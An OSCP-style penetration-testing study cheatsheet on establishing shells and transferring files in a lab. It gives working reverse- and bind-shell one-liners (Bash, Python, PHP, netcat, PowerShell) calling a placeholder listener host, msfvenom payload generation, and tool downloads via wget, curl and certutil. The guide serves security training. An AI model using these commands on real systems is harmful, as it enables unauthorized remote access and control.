OSCP Reference

10.6 Shells and Payloads Cheatsheet

Have command execution?

Choose a session and connection path that match the target environment.

Start the first checks →
Callback or session failed?

Trace the listener and return path, then repair the execution boundary.

Follow the finding →

← Cheatsheet index | Full procedure | Payload obstacles | Public exploits | Strategy map | Study methods: Establish sessions and move files

10.6.1 Record your current identity, access and reachable resources State model

delivery → execution → connection → usable session

Prove each transition separately. A hung request is not a shell; a TCP connection is not necessarily an interactive session.

10.6.2 Choose access

EvidenceChoose
One bounded command is enoughDirect execution
Valid credential + enabled remote serviceSSH/WinRM/RDP
Target can reach KaliReverse shell
Kali can reach a target listenerBind shell
Staged/protocol-aware payloadMatching multi/handler

10.6.3 Start a listener that matches the expected callback Listener

Run/context: start the listener on the endpoint the target can reach; run the selected connection command in the confirmed execution context. Decide: a TCP connection is not yet an interactive command session. Use the callback ladder for a missing or unusable connection, then verify host and identity inside the new session.

Traditional/OpenBSD-style Netcat:

rlwrap nc -lvnp LPORT

Nmap Ncat:

ncat -4 -lvn 0.0.0.0 LPORT

Verify:

ss -lntp | grep ':LPORT'

Select LHOST from the target's route. Confirm the listener is not bound only to loopback or the wrong interface/address family.

10.6.4 Obtain a Linux shell through a supported reverse connection Linux reverse shells

bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f
php -r '$s=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Ncat transferred to target:

ncat LHOST LPORT --exec /bin/sh

If the injection launches /bin/sh, wrap Bash-only syntax in bash -c '...' and encode it for each outer parser.

10.6.5 Obtain a Windows command session through a supported channel Windows command channels

Prefer authenticated access when available:

evil-winrm -i TARGET -u USER -p 'PASSWORD'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /p:'PASSWORD' /cert:ignore
ssh -p PORT USER@TARGET

Transferred Ncat:

ncat.exe LHOST LPORT --exec cmd.exe

PowerShell TCP channel:

$client = [Net.Sockets.TcpClient]::new('LHOST',LPORT)
$stream = $client.GetStream()
$buffer = New-Object byte[] 65535
while (($count = $stream.Read($buffer,0,$buffer.Length)) -gt 0) {
  $command = [Text.Encoding]::ASCII.GetString($buffer,0,$count)
  $output = (Invoke-Expression $command 2>&1 | Out-String) + "PS $((Get-Location).Path)> "
  $bytes = [Text.Encoding]::ASCII.GetBytes($output)
  $stream.Write($bytes,0,$bytes.Length)
  $stream.Flush()
}
$client.Close()

PowerShell nested-quoting transport:

$command = 'COMMAND'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE

-EncodedCommand requires UTF-16LE. Base64 is representation, not encryption or AV evasion.

10.6.6 Connect to a shell listening on the reachable target Bind shells

10.6.6.1 target, only if this nc build supports -e

# target, only if this nc build supports -e
nc -lvnp PORT -e /bin/sh

10.6.6.2 Kali

# Kali
nc -nv TARGET PORT

Ncat target:

ncat -4 -lvn 0.0.0.0 PORT --exec /bin/sh

FIFO fallback:

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp PORT >/tmp/f

10.6.7 Generate a payload that matches the platform, consumer and connection path Msfvenom selection

msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options

Stageless command shells:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f elf -o shell.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -f exe -o shell.exe
file shell.elf shell.exe
sha256sum shell.elf shell.exe

Naming cue:

shell_reverse_tcp  = stageless/all-in-one
shell/reverse_tcp  = staged; needs a matching staging handler

Handler:

msfconsole -q
use exploit/multi/handler
set payload PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
show options
run

Generated payload, handler payload, transport, LHOST and LPORT must match exactly. Encoders do not guarantee AV evasion.

10.6.8 Callback ladder

  1. Prove delivery.
  2. Prove id/whoami or another harmless command in the vulnerable context.
  3. Repair parser, quoting, encoding, interpreter and length.
  4. Match OS, architecture, format and staged/stageless type.
  5. Start and verify the listener before triggering.
  6. Test target-to-LHOST:LPORT reachability.
  7. Gather concrete security-control evidence.
  8. Repair TTY/I/O only after a connection exists.

Target checks:

nc -vz LHOST LPORT
curl -v --connect-timeout 5 http://LHOST:LPORT/
Test-NetConnection LHOST -Port LPORT -InformationLevel Detailed

Kali observation:

sudo tcpdump -ni any tcp port LPORT
Packet/session evidenceMeaning
No SYNExecution/LHOST/route/egress/parser problem
SYN but no responseListener bind/port/local firewall problem
Handshake then closeCrash, handler mismatch or control interference
Stable connection, no commandsStaged/raw mismatch, buffering or I/O issue

10.6.9 Diagnose the specific security control that interrupted execution Security-control triage

Get-MpComputerStatus |
  Select-Object AntivirusEnabled,RealTimeProtectionEnabled,BehaviorMonitorEnabled,IoavProtectionEnabled

Separate: transfer failure, quarantine, process denial, script-content block, crash, callback filtering, application control, language mode, permissions and missing dependencies. Do not call every silent failure “AV.”

10.6.10 Stabilize an existing Linux shell for interactive use TTY upgrade

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl-Z locally
stty raw -echo; fg
# remote
reset
export TERM=xterm-256color
stty rows 40 columns 120

Recovery on Kali:

stty sane

Socat:

# Kali
socat file:$(tty),raw,echo=0 tcp-listen:LPORT,reuseaddr
# target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT

10.6.11 Verify session

hostname; id; pwd; ip addr; ip route; ss -lntup
hostname
whoami /all
cd
ipconfig /all
route print
netstat -ano

10.6.12 Continue with the capability your result enables Handoff

10.6.13 Discover and recognize candidates

Use these discovery checks to find a candidate, then validate the missing conditions. Cues are illustrative; complete synthetic outputs and three-outcome examples are in the linked study entries.

10.6.13.1 Establish sessions and move files

10.6.13.1.1 Find: Verify command execution, host and represented identity

Begin with the original command/PoC/client result and request a small host/identity proof through its existing output channel.

hostname
id
pwd

Recognize: Host-specific identity output demonstrates execution under that account, not yet a reverse connection or full terminal.

Validate next: Record OS, privilege and network position; choose an access form whose interpreter/service and route exist.

Verify command execution, host and represented identity.

10.6.13.1.2 Commands and use-case variants

Need: Verified command execution or authenticated remote access and a known network path. A functioning execution primitive and an observable output or controlled side effect

delivery → execution → connection → usable session
StateDecisive evidenceDoes not yet prove
DeliveryExact bytes/request reached intended consumerPayload executed
ExecutionHarmless command output or controlled side effectNetwork callback works
ConnectionListener records the expected peerCommands and I/O are usable
SessionCommands return and host/identity are verifiedHigher privilege or stability

Do not change all four layers at once. Preserve the last confirmed state and test the next boundary.

SituationPreferMain prerequisite / limitation
One bounded action is enoughDirect command executionObservable output or side effect; no shell required
Valid credential and remote serviceSSH, WinRM or RDPAuthentication plus remote-logon authorization
Target can reach KaliReverse shellTarget egress and a reachable Kali listener
Kali can reach a target listenerBind shellTarget can bind and inbound path permits it
Payload is staged or protocol-awareMatching framework handlerHandler must use the exact payload/transport

Prefer authenticated administrative access when it is already available: it is normally more stable, auditable and feature-complete than an improvised shell.

Linux:

id; hostname; pwd

Windows:

whoami & hostname & cd

For blind execution, use one bounded callback or file side effect that the current context can produce and you can independently observe. Do not interpret a hung HTTP request as proof of a shell; the server may simply be waiting on a child process or timeout.

Linux:

hostname; id; pwd
ip addr; ip route
ss -lntup

Windows:

hostname
whoami /all
cd
ipconfig /all
route print
netstat -ano

Record the destination host, actual identity, privilege, current directory, interfaces/routes, parent/execution context and the exact command that produced the session. Then re-enumerate from the new state.

exact prerequisites
→ exploit reaches expected vulnerable path
→ bounded harmless effect or identity output
→ repeatable command execution
→ payload reaches listener
→ usable session
→ verified host/identity/privilege/network position

Do not accept the exploit's own “success” string as proof. Validate an independent effect. An HTTP 200, uploaded filename, connection or application crash each proves less than a verified command result.

Verify: Save destination identity/hostname and actual command output; use Windows hostname/whoami/ipconfig when appropriate.

If it fails: A hung request or success message does not prove execution. First establish a bounded observable effect, then diagnose the next state.

10.6.13.1.3 Find: Connect a Linux reverse shell through an available interpreter

From the proven Linux command channel inspect available interpreters and the target's route to the proposed listener.

command -v bash python3 php nc
ip route get LHOST

Recognize: An interpreter plus a plausible outbound route suggests a reverse-channel candidate.

Validate next: Verify target-to-listener reachability, listener binding, exact shell/parser and payload compatibility.

Connect a Linux reverse shell through an available interpreter.

10.6.13.1.4 Commands and use-case variants

Need: Verified command execution or authenticated remote access and a known network path. A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

trigger context
→ target process/interpreter and architecture
→ target source interface
→ route/egress controls
→ LHOST address visible from target
→ LPORT
→ local bind interface
→ listener/handler

Select LHOST from the target's point of view. A VPN address, tunnel endpoint or reachable interface may be correct while Kali's default-route address is wrong.

On Kali:

ip -brief address
ip route
ss -lntp

Windows source/listener checks:

Get-NetIPAddress -AddressFamily IPv4
Get-NetRoute -AddressFamily IPv4
Get-NetTCPConnection -State Listen

Traditional/OpenBSD-style nc commonly used on Kali:

rlwrap nc -lvnp LPORT

Nmap Ncat uses a positional listen port; do not mechanically copy every nc flag:

ncat -4 -lvn 0.0.0.0 LPORT

Verify the bind in another terminal:

ss -lntp | grep ':LPORT'

If multiple interfaces exist, bind deliberately:

ncat -4 -lvn LHOST LPORT

Failure cue: a listener bound only to 127.0.0.1, the wrong VPN/interface address or the wrong address family cannot receive the expected callback. “Address already in use” means another process owns the bind.

Choose an interpreter that you confirmed exists.

Bash TCP:

bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'

Python 3 with a PTY:

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Portable FIFO plus Netcat when -e is absent:

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f

PHP CLI:

php -r '$s=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'
10.6.13.1.5 Variant — target has Ncat command execution

Linux:

ncat LHOST LPORT --exec /bin/sh

Windows:

ncat.exe LHOST LPORT --exec cmd.exe

--exec exposes the named program directly to the network connection. Use only on the assigned host and remove transferred tooling when the exercise requires cleanup.

Shell-language cue: a command injection may execute through /bin/sh, which does not understand every Bash construct. Wrap Bash-specific syntax in bash -c '...' and then encode it for the outer HTTP/template/database layer.

Verify: Run hostname/id through the returned channel and distinguish a TCP connection from a functioning shell.

If it fails: No packets suggests route/listener/trigger; packets without commands suggest payload/listener mismatch. Check the first failed boundary.

10.6.13.1.6 Find: Use Windows authenticated access or a PowerShell command channel

From Windows execution inspect the actual PowerShell/runtime context and any reachable authenticated remote service before building a callback.

whoami /all
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode

Recognize: The execution identity and constrained language context affect which command-channel implementations can run.

Validate next: Check permitted language features, remote endpoint authorization or a working callback route; encoding does not grant those.

Use Windows authenticated access or a PowerShell command channel.

10.6.13.1.7 Commands and use-case variants

Need: Verified command execution or authenticated remote access and a known network path. Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route

Prefer an available authenticated service:

evil-winrm -i TARGET -u USER -p 'PASSWORD'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /p:'PASSWORD' /cert:ignore
ssh -p PORT USER@TARGET

PowerShell TCP shell when direct command execution is the only primitive:

$client = [Net.Sockets.TcpClient]::new('LHOST',LPORT)
$stream = $client.GetStream()
$buffer = New-Object byte[] 65535
while (($count = $stream.Read($buffer,0,$buffer.Length)) -gt 0) {
  $command = [Text.Encoding]::ASCII.GetString($buffer,0,$count)
  $output = (Invoke-Expression $command 2>&1 | Out-String) + "PS $((Get-Location).Path)> "
  $bytes = [Text.Encoding]::ASCII.GetBytes($output)
  $stream.Write($bytes,0,$bytes.Length)
  $stream.Flush()
}
$client.Close()

This is a basic command channel, not a ConPTY. Host policy, language mode, AMSI/antimalware, quoting and the parent process can affect it.

PowerShell -EncodedCommand solves nested quoting; it is not encryption or an AV bypass. Generate UTF-16LE Base64 locally:

$command = 'COMMAND'
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
$encoded

Invoke in the target command context:

powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE

Verify: Verify hostname, whoami /all and command behavior through the resulting channel.

If it fails: A saved credential may be valid for one protocol only. PowerShell policy, language mode, parser and antimalware evidence require different responses.

10.6.13.1.8 Find: Use a bind shell when the target can accept inbound connections

Inspect target-side listening permissions, tool implementation and the assessment-source route to a proposed listener.

nc -h
ss -lnt

Recognize: The implementation cannot use an assumed -e shell; another supported listener mechanism is needed.

Validate next: Confirm a compatible bind command, permitted listener and inbound source-to-target reachability.

Use a bind shell when the target can accept inbound connections.

10.6.13.1.9 Commands and use-case variants

Need: Verified command execution or authenticated remote access and a known network path. Permission to bind, compatible Netcat/Ncat behavior and source-to-target listener connectivity through any required forward

Use a bind shell only when Kali can reach a target listener and reverse egress is unavailable.

Traditional Netcat with -e support on a Linux target:

nc -lvnp PORT -e /bin/sh

Connect from Kali:

nc -nv TARGET PORT

FIFO alternative when -e is absent:

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp PORT >/tmp/f

Ncat target listener:

ncat -4 -lvn 0.0.0.0 PORT --exec /bin/sh

Bind shells expose a target port and may be blocked by the host firewall or upstream ACL. A successful local bind does not prove Kali can reach it.

Verify: Verify reachable listener plus hostname/id over the channel; record and later remove the created listener.

If it fails: A target-side listener with client timeout implies a route/firewall boundary. Use an appropriate forward or another allowed access form.

10.6.13.1.10 Find: Generate a payload matching OS, process, format and handler

Inspect the actual consumer/process and existing exploit constraints before browsing payload names or formats.

file TARGET_ARTIFACT
msfvenom -l payloads
msfvenom --list formats

Recognize: The staged payload name and executable consumer must be matched to the handler and delivery format.

Validate next: Check target/process architecture, permitted feature, exact payload options, stage route and listener.

Generate a payload matching OS, process, format and handler.

10.6.13.1.11 Commands and use-case variants

Need: Verified command execution or authenticated remote access and a known network path. Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener

List rather than guess names and formats:

msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options

Stageless command-shell binaries:

msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f elf -o shell.elf

msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f exe -o shell.exe

Verify the resulting artifacts:

file shell.elf shell.exe
sha256sum shell.elf shell.exe

msfvenom does not make a payload compatible with the delivery path. Match target OS, process architecture, payload type, output format, available execution method and callback route.

10.6.13.1.11.1 Staged versus stageless
stageless: complete payload delivered at once; larger, usually simpler and more stable
staged: small first stage connects and retrieves the rest; smaller initial footprint, needs matching handler and second transfer

Metasploit naming commonly reflects the distinction:

windows/x64/shell_reverse_tcp   stageless
windows/x64/shell/reverse_tcp   staged

A raw Netcat listener can receive many ordinary stageless command shells. A staged payload normally needs multi/handler configured with the exact same payload:

msfconsole -q
use exploit/multi/handler
set payload PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
show options
run

A connection to Netcat with no usable commands can mean a staged payload reached a non-staging listener. It is not necessarily failed code execution.

10.6.13.1.11.2 Existing-PoC payload constraints

Only when an existing reviewed PoC documents payload space and bad characters:

msfvenom -p PAYLOAD_NAME \
  LHOST=LHOST LPORT=LPORT \
  -f FORMAT -v VARIABLE \
  -b 'BAD_CHARACTERS' \
  -s MAX_SPACE

Encoders and repeated encoding do not guarantee antimalware evasion. -b is for bytes that the vulnerable input path cannot preserve; do not invent a universal bad-character list.

Verify: Check artifact format/hash and actual session identity; generation success is not execution proof.

If it fails: Wrong architecture, stage/handler mismatch, missing second route or payload-space constraints require separate fixes. Encoding does not guarantee endpoint-control bypass.

10.6.13.1.12 Find: Repair a limited Linux terminal

Inspect the working shell's terminal state and available PTY utilities after verifying a stable command channel.

tty
command -v python3 script socat

Recognize: A functioning socket shell lacks a controlling terminal while a potential PTY mechanism exists.

Validate next: Verify the available PTY mode, local terminal handling and stable connection; privilege remains unchanged.

Repair a limited Linux terminal.

10.6.13.1.13 Commands and use-case variants

Need: Verified command execution or authenticated remote access and a known network path. A working channel and available PTY mechanism; correct local-terminal control sequence

First obtain a PTY with an available interpreter:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Press Ctrl-Z locally, then:

stty raw -echo; fg

Back in the remote shell:

reset
export TERM=xterm-256color
stty rows 40 columns 120

If the local terminal becomes unreadable, restore it from a separate/local shell:

stty sane

Socat can provide a stronger PTY when present on both sides:

10.6.13.1.14 Kali

# Kali
socat file:$(tty),raw,echo=0 tcp-listen:LPORT,reuseaddr

10.6.13.1.15 Target

# Target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT

TTY repair changes terminal behavior, not privilege or network reliability. A PTY may enable job control and programs that require a terminal; it does not turn a fragile route into a stable one.

Verify: Check tty, signal handling and an interactive program; confirm the same identity remains.

If it fails: A dropped connection is not solved by terminal settings. If no PTY mechanism exists, use noninteractive commands or an authenticated terminal method.

10.6.13.1.16 Find: Transfer over HTTP using Linux or Windows clients

From the target's command context inspect downloader availability, writable destination and a route to the fixed served directory.

command -v curl wget
ls -ld /tmp
ip route get LHOST

Recognize: A downloader, destination and plausible outbound path enable an HTTP transfer candidate.

Validate next: Check actual server bind/directory, HTTP request/response and source/destination hashes.

Transfer over HTTP using Linux or Windows clients.

10.6.13.1.17 Commands and use-case variants

Need: Verified command execution or authenticated remote access and a known network path. Correct server bind and served directory; target-to-server route, available downloader and writable destination

On Kali, serve the directory containing linpeas.sh:

cd /path/to/tools
python3 -m http.server 8000 --bind 0.0.0.0

On the Linux target, download into a writable directory and run it:

wget http://LHOST:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas.txt

Read: Kali should log an HTTP request and a successful response. A downloaded enumeration script is a lead generator; manually verify any escalation candidate.

10.6.13.1.18 HTTP variants — fixed server directory, curl, Windows and alternate built-ins
10.6.13.1.18.1 Serve a fixed directory without changing folders
python3 -m http.server 8000 --bind 0.0.0.0 --directory /path/to/tools

Python's simple server supplies downloads over unencrypted HTTP. Stop it with Ctrl+C when finished.

10.6.13.1.18.2 Linux target with curl
curl -fL http://LHOST:8000/FILE -o /tmp/FILE

-f reports HTTP errors and -L follows redirects. Use a writable destination.

10.6.13.1.18.3 Windows target with PowerShell

Run inside PowerShell:

Invoke-WebRequest -Uri "http://LHOST:8000/FILE" -OutFile "C:\Windows\Temp\FILE"

From cmd.exe, invoke PowerShell explicitly:

powershell -NoProfile -Command "Invoke-WebRequest -Uri 'http://LHOST:8000/FILE' -OutFile 'C:\Windows\Temp\FILE'"
10.6.13.1.18.4 Windows alternatives
(New-Object Net.WebClient).DownloadFile('http://LHOST:8000/FILE','C:\Windows\Temp\FILE')
curl.exe -fL http://LHOST:8000/FILE -o C:\Windows\Temp\FILE
certutil.exe -urlcache -split -f http://LHOST:8000/FILE C:\Windows\Temp\FILE

Availability and policy can differ by host. certutil may leave URL-cache artifacts; remove only artifacts you created when cleanup is appropriate.

Compare the source and destination hashes.

On Kali or Linux:

sha256sum FILE
sha256sum /tmp/FILE

On Windows:

Get-FileHash -Algorithm SHA256 "C:\Windows\Temp\FILE"

Decisive output: matching SHA-256 values establish that the two saved files contain the same bytes. A successful HTTP status alone does not.

Verify: Compare sha256sum on Linux or Get-FileHash -Algorithm SHA256 on Windows, and verify destination permissions.

If it fails: No request: route/bind/egress. 404: path/name. Matching file but no execution: interpreter/format/control. Diagnose each separately.

10.6.13.1.19 Find: Copy files through an authenticated SSH service

Use established SSH context to identify allowed file/subsystem access and the intended remote destination's rights.

ssh -v -p PORT USER@TARGET

Recognize: SSH authentication gives a candidate transport; it does not prove SFTP/subsystem support or destination write.

Validate next: Validate client/server subsystem compatibility, source read and destination write; inspect resulting bytes.

Copy files through an authenticated SSH service.

10.6.13.1.20 Commands and use-case variants

Need: Verified command execution or authenticated remote access and a known network path. Reachable SSH/SFTP service, correct key/password and read/write rights; client/server subsystem compatibility

10.6.13.1.21 SCP — copy through an authenticated SSH service
10.6.13.1.21.1 Kali to a Linux target
scp FILE USER@TARGET:/tmp/FILE
10.6.13.1.21.2 Linux target to Kali

Run from Kali when the target's SSH service is reachable:

scp USER@TARGET:/path/to/FILE ./FILE
10.6.13.1.21.3 SSH key or nonstandard port
scp -i KEY -P PORT FILE USER@TARGET:/tmp/FILE

scp uses uppercase -P for the SSH port. Authentication success does not guarantee write permission at the destination path.

Verify: Verify copied bytes and location; uppercase -P selects scp's SSH port.

If it fails: Authentication failure, missing subsystem and destination permission failure need different changes. Prefer a supported transfer method over guessing flags.

10.6.13.1.22 Find: Move Windows files through an authenticated SMB share

From Windows inspect TCP/445 reachability to the deliberate transfer server and distinguish its share identity from target-domain credentials.

Test-NetConnection LHOST -Port 445
net use

Recognize: The service is reachable, but an existing connection can constrain a different credential context.

Validate next: Verify intended share/server credentials, conflicting mappings, read/write rights and destination hash.

Move Windows files through an authenticated SMB share.

10.6.13.1.23 Commands and use-case variants

Need: Verified command execution or authenticated remote access and a known network path. Inbound SMB listener on the server, outbound TCP/445 from the client, compatible SMB version and explicit share credentials

10.6.13.1.24 SMB — read and write files from Windows
10.6.13.1.24.1 Start an authenticated SMB share on Kali
mkdir -p share
sudo impacket-smbserver transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'

The first positional value is the share name; the second is its local directory. The supplied USER and PASSWORD authenticate to this temporary Kali share.

Some installations expose the legacy wrapper name:

sudo smbserver.py transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'
10.6.13.1.24.2 Connect and download from Windows
net use \\LHOST\transfer /user:USER "PASSWORD"
copy \\LHOST\transfer\FILE C:\Windows\Temp\FILE
10.6.13.1.24.3 Upload evidence from Windows to Kali
copy C:\Windows\Temp\FILE \\LHOST\transfer\FILE
net use \\LHOST\transfer /delete

Kali must accept inbound TCP/445 and the target must permit outbound SMB. The share is read/write unless started with Impacket's -readonly option.

Verify: Verify source/destination hash and the share path; disconnect created mappings after use.

If it fails: No route, conflicting cached connection, invalid share credentials and denied filesystem writes are independent failure points.

10.6.13.1.25 Find: Stream a file over a direct TCP connection

When richer transfers are unavailable, inspect the exact TCP tool and draw sender, receiver and writable output destination.

nc -h
ls -ld /DESTINATION_DIRECTORY

Recognize: A raw stream may move bytes only if roles and connection direction are correct; no integrity metadata is supplied.

Validate next: Confirm listener syntax, reachability, binary-clean I/O and a complete independent hash match.

Stream a file over a direct TCP connection.

10.6.13.1.26 Commands and use-case variants

Need: Verified command execution or authenticated remote access and a known network path. Unambiguous sender/receiver direction, compatible Netcat listener syntax and a writable output file

10.6.13.1.27 Netcat — stream a file when a direct TCP connection is possible
10.6.13.1.27.1 Retrieve a file from the target to Kali

Kali receives:

nc -lvnp PORT > FILE

The target sends:

nc -nv LHOST PORT < /path/to/FILE
10.6.13.1.27.2 Send a file from Kali to the target

The target receives:

nc -lvnp PORT > /tmp/FILE

Kali sends:

nc -nv TARGET PORT < FILE

If the listener rejects -p, use the OpenBSD-style form and check nc -h locally:

nc -lvn PORT > FILE

Netcat provides no authentication, encryption, filename metadata or integrity check. Confirm direction and compare hashes afterward.

Verify: Compare hashes and avoid mixing diagnostic text into the file stream.

If it fails: A connection without a complete hash match proves only transport. Use SCP/HTTP/SMB when those routes exist.

10.6.13.1.28 Find: Move a small artifact through a text-only channel

Inspect the existing channel's command-length/quoting limits and whether both sides can reconstruct a small encoded file.

command -v base64
wc -c FILE

Recognize: A small artifact and compatible decoder make text transport plausible, without assuming large encoded commands survive.

Validate next: Verify exact length/quoting and source/destination hash; use the Windows decoding variant when appropriate.

Move a small artifact through a text-only channel.

10.6.13.1.29 Commands and use-case variants

Need: Verified command execution or authenticated remote access and a known network path. Available Base64 encode/decode, adequate command length and a writable destination

10.6.13.1.30 Base64 — move a small file through a text-only channel
10.6.13.1.30.1 Encode on Linux
base64 -w 0 FILE
10.6.13.1.30.2 Decode on Linux
printf '%s' 'BASE64_DATA' | base64 -d > /tmp/FILE
10.6.13.1.30.3 Decode in PowerShell
[IO.File]::WriteAllBytes('C:\Windows\Temp\FILE',[Convert]::FromBase64String('BASE64_DATA'))

Use this for small files. Long encoded values are easy to truncate or corrupt; compare hashes.

Verify: Require a complete matching hash; keep encoded secrets in private evidence rather than reusable notes.

If it fails: Truncation, wrapping and quoting often corrupt long values. Use a network transfer for larger files.

10.6.13.1.31 Find: Use a temporary FTP transfer as a constrained fallback

Inspect whether a compatible FTP client is the remaining route and whether the temporary server's data channel is reachable.

ftp
help
quit

Recognize: Client availability permits investigating FTP; binary mode and separate data-channel paths remain necessary.

Validate next: Verify deliberate server scope, control/data connectivity, required read/write and post-transfer hashes.

Use a temporary FTP transfer as a constrained fallback.

10.6.13.1.32 Commands and use-case variants

Need: Verified command execution or authenticated remote access and a known network path. A deliberately selected temporary server, correct served directory, control/data paths and binary transfer mode

10.6.13.1.33 Temporary FTP — only when an FTP client is the available route

On Kali, after intentionally selecting/installing pyftpdlib in an isolated environment:

python3 -m pyftpdlib -p PORT

On the target:

ftp LHOST PORT
binary
get FILE
put FILE
quit

The default temporary server can be unauthenticated and plaintext. Bind/serve only the intended directory, expose it only for the transfer, compare hashes and stop it immediately. HTTP/SCP/SMB are normally preferable.

Verify: Compare bytes and stop the temporary server after its purpose is complete.

If it fails: A working control session with failed data transfer requires data-channel troubleshooting. Choose HTTP/SCP/SMB when available.


Top of document · Reference home